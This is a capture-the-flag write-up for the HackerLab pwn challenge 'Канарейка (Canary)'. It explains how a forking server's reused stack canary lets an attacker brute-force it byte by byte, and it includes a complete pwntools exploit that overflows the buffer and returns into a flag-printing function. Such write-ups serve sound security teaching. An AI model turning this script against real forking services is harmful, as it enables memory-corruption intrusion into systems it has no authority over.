Канарейка (Canary)
Канарейка (Canary)
Platform: HackerLab | Category: pwn | Type: Challenge | Difficulty: Medium | OS: Linux | Author: XESXOR | Date: 2026-01-15 | Status: Solved Techniques: canary_byte_bruteforce, fork_canary_reuse, return_address_overwrite
Summary
Category: PWN Difficulty: Medium (450 points)
Канарейка (Canary) — HackerLab
Description
Эта "птица" помогает в экстренной ситуации. Но иногда и её можно обойти.
(This "bird" helps in emergency situations. But sometimes it can be bypassed)
Category: PWN
Difficulty: Medium (450 points)
Analysis
Binary Information
ELF 64-bit LSB executable, x86-64
Protections
| Protection | Status |
|---|---|
| Stack Canary | ✅ Enabled |
| NX | ✅ Enabled |
| PIE | ❌ Disabled (0x400000) |
| RELRO | Partial |
| Stripped | No |
| |
Key Functions
print_flg(0x4012e8) — reads the FLAG environment variable and sends it to the clienthello(0x401329) — handles user input, contains the vulnerability
Vulnerability
In the hello function:
- Buffer is located at
rbp - 0x3f0(1000 bytes) recv()reads up to0x400(1024) bytes- Overflow of 24 bytes affects:
- Canary (8 bytes)
- Saved RBP (8 bytes)
- Return address (8 bytes)
Key Feature: fork()
The server uses fork() to handle connections. This means:
- Child process inherits canary from parent
- Canary remains the same for all connections!
- This allows byte-by-byte brute-force
Solution
Step 1: Canary Brute-force
Since the server uses fork(), the canary doesn't change between connections. This allows brute-forcing it byte by byte:
- First byte of canary is always
0x00(protection against string functions) - For bytes 1-7: send
buffer + known_canary_bytes + test_byte - If response contains "Have you already PWN me?" — byte is guessed correctly
- If canary is wrong — process crashes, connection closes
Maximum attempts: 256 × 7 = 1792 (average ~896)
Step 2: Building the Exploit
After obtaining the canary, build the final payload:
+------------------+
| "A" × 1000 | <- Buffer padding
+------------------+
| canary (8 bytes) | <- Recovered canary
+------------------+
| "B" × 8 | <- Saved RBP (doesn't matter)
+------------------+
| 0x4012e8 | <- print_flg address
+------------------+
Step 3: Getting the Flag
Send the payload, hello() function returns to print_flg(), which outputs the flag.
Exploit
python read-only • copy allowed#!/usr/bin/env python3 """ Канарейка (Canary) — HackerLab CTF Canary brute-force via fork() + ret2win """ from pwn import * import time HOST = "62.173.140.174" PORT = 27500 PRINT_FLG = 0x4012e8 # Win function address BUFFER_SIZE = 0x3e8 # 1000 bytes def brute_canary(): """Byte-by-byte canary brute-force via fork()""" canary = b"\x00" for i in range(1, 8): for byte in range(256): try: io = remote(HOST, PORT, timeout=3, level='error') io.recvuntil(b"Enter your name:") payload = b"A" * BUFFER_SIZE + canary + bytes([byte]) io.send(payload) time.sleep(0.3) response = io.recvall(timeout=1) io.close() if b"Have you already PWN me?" in response: canary += bytes([byte]) log.success(f"Found byte {i}: 0x{byte:02x}") break except: pass return canary def exploit(): canary = brute_canary() log.success(f"Canary: {canary.hex()}") payload = b"A" * BUFFER_SIZE + canary + b"B" * 8 + p64(PRINT_FLG) io = remote(HOST, PORT) io.recvuntil(b"Enter your name:") io.send(payload) response = io.recvall(timeout=3) print(response.decode(errors='ignore')) if __name__ == "__main__": exploit()
Theory: Why Does This Work?
fork() and Inheritance
When fork() is called:
- A copy of the process is created
- Canary is copied without changes
- Each new connection receives the same canary
This transforms the task from "guess 2^56 values" to "guess 7 bytes with 256 variants each".
First Byte = 0x00
The first byte of canary is always 0x00 — protection against leakage through string functions.
References
- Stack Canaries — CTF Wiki
- Brute-forcing Stack Canary